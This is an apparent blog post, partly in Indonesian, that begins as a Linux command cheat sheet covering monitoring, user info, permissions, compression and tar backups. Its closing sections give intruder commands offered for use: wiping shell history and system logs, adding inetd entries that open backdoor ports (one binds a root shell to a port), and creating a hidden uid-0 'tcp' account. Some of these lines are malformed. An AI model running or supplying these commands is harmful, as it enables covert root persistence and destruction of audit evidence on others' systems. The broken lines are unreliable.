There are command wich usually use in linux or unix command. You can using this command to operate your Operating sistem.
*********** Monitoring the system *********
pstree Processes and parent-child relarionships
top Show top processes
ps -auxw process status
vmstat Monitor virtual memory
free Display amount of free and used memory in the system. (Also: cat /proc/meminfo)
pmap Display/examine memory map and libraries (so). Usage: pmap pid
cat /proc/sys/vm/freepages Display virtual memory "free pages".
uname -a print system information
cat /proc/version Display Linux kernel version in use.
cat /etc/redhat-release Display Red Hat Linux Release. (also /etc/issue)
uptime Tell how long the system has been running. Also number of users and system's load average.
w Show who is logged on and what they are doing.
/sbin/lsmod List all currently loaded kernel modules.
/proc/modules idem
/sbin/runlevel Displays the system's current runlevel.
hostname Displays/changes the system's node name. (Must also manually change hostname setting in /etc/sysconfig/network. Command will change entry in /etc/hosts)
service Display status of system services
******** Hardware ************
/usr/bin/lsdev List devices and info on system hardware. Also IRQ's.(RPM package procinfo)
/sbin/lspci list all PCI devices (result of probe) Also lspci -vvx and cat /proc/pci
cat /proc/interrupts List IRQ's used by system.
cat /proc/ioports List I/O ports used by system.
cat /proc/dma List DMA channels and device used by system.
cat /proc/cpuinfo List info about CPU.
******** Commands User Info *******
who Displays currently logged in users.
who -uH for idle time and terminal info.
users Show all users logged in.
w Displays currently logged in users and processes they are running.
whoami Displays user id.
groups Display groups you are part of.
set Display all environment variables in your current environment.
id Display user and all group ids.
last Show listing of last logged in users.
history Shell command to display previously entered commands
*****File Information/Status/Ownership/Security *****
ls List directory contents. List file information
chmod Change file access permissions
chmod ugo+rwx file-name Change file security so that the user, group and all others have read, write and execute privileges.
chmod go-wx file-name Remove file access so that the group and all others have write and execute privileges revoked/removed.
chown Change file owner and group
chown root.root file-name Make file owned by root. Group assignment is also root.
fuser Identify processes using files or sockets
fuser -k file-name then you may need to kill a process that has the file locked. Either terminate the process through the application interface or using the fuser command:
Uses /usr/share/magic, /usr/share/magic.mime for file signatures to identify file type. The file extention is NOT used
clear Clear Text Terminal
reset Reset Text Terminal
tty Print the file name of the terminal connected to standard input
[prompt]$ tty
/dev/pts/4
**** Basic file compression utilities: (and file extensions) *******
gzip (.gz) : Also see zcat, gunzip, gznew, gzmore
compress : gzip file-name
decompress : gzip -d file-name.gz
bzip2 (.bz2) : Also see: bunzip2, bzcat, bzip2recover
compress : bzip2 file-name
decompress : bunzip2 file-name.bz2
compress (.Z) : (Adaptive Lempel-Ziv compression) Also see: uncompress, zcat
compress : compress file-name
decompress: uncompress file-name.Z
(Provided by the RPM package ncompress)
pack (.z) : Also see: unpack
compress : pack file-name
decompress : unpack file-name.z
zip (.zip) : Compress files or groups of files. (R.P.Byrne compression) Compatable with PC PKZIP files. Also see: unzip
compress : zip file-name
decompress : unzip file-name.zip
Using TAR (Tape Archive) for simple backups:
It should be noted that automated enterprise wide multi-system backups should use a system such as Amanda. (See Backup/Restore links on YoLinux home page) Simple backups can be performed using the tar command:
tar -cvf /dev/st0 /home /opt
This will backup the files, directories and all it's subdirectories and files of the directories /home and /opt to the first SCSI tape device. (/dev/st0)
Restoring files from backup:
tar -xvf /dev/st0
Script to perform weekly archive backups: /etc/cron.weekly/backup-weekly.sh
#!/bin/bash
tar -cz -f /mnt/BackupServer/user-id/backup-weekly-`date +%F`.tar.gz -C /home/user-id dir-to-back-up
Be sure to allow execute permission on the script:
chmod ugo+x /etc/cron.weekly/backup-weekly.sh
## This is for removing logs (manually) ##
write this for remove the history : export HISTFILE=/dev/null ; export HISTSIZE=0; export HISTFILESIZE=0
Write this for remove all logs : rm -rf /var/log/wtmp ; rm -rf /var/log/lastlog ; rm -rf /var/log/secure ; rm -rf /var/log/xferlog ; rm -rf /var/log/messages ; rm -rf /var/run/utmp ; touch /var/run/utmp ; touch /var/log/messages ; touch /var/log/wtmp ; touch /var/log/messages ; touch /var/log/xferlog ; touch /var/log/secure ; touch /var/log/lastlog ; rm -rf /var/log/maillog ; touch /var/log/maillog ; rm -rf /root/.bash_history ; touch /root/.bash_history ; history -r
or you can make this command :
export HISTFILE=/dev/null ;
export HISTSIZE=0;
export HISTFILESIZE=0
export HISTFILE=/dev/null ; export HISTSIZE=0; export HISTFILESIZE=0
echo > /var/log/wtmp
echo > /var/run/utmp
echo > /var/log/lastlogin
rm -f /.bash_history /root/.bash_history /var/log/messages
ln -s /dev/null /.bash_history
ln -s /dev/null /root/.bash_history
touch /var/log/messages
chmod 600 /var/log/messages
## Open New Telnet Port ##
echo telnet 11210/tcp Telnet telnet 11210/udp Telnet >> /etc/services
echo 11210 stream tcp nowait root /usr/sbin/tcpd in.telnetd >> /etc/inetd.conf
killall -HUP inetd
atau :
echo "ntp 16032908/tcp" >> /etc/services
echo "ntp stream tcp nowait root /bin/sh sh -i" >> /etc/inetd.conf
echo "16030 stream tcp nowait root /usr/sbin/tcpd in.telnetd" >> /etc/inetd.conf
killall -HUP inetd
## Add User On Linux ##
Make root Login : /usr/sbin/useradd tcp -u 0 -o -g root -s /bin/bash -d /
Make root Login : echo "tcp:x:0:0:root:/:/bin/bash" >> /etc/passwd
Make Whell Login : /usr/sbin/adduser tcp -g wheel -d /var/spool/mail -s /bin/bash
## Adduser On Sunos ##
aduser diserver sunOS
Make root Login : echo "tcp:x:30000:30000:tcp login:/home/tcp >>/etc/passwd
Make Whell Login: echo "tcp:x:0:0:tcp login:/home/tcp >>/etc/passwd
## iptables / ipchains Reject port 443 ##
iptables = /sbin/iptables -A INPUT -p tcp --destination-port 443 -j REJECT
ipchains = /sbin/ipchains -A input -j REJECT --destination-port 443 -p tcp
0 comments:
Posting Komentar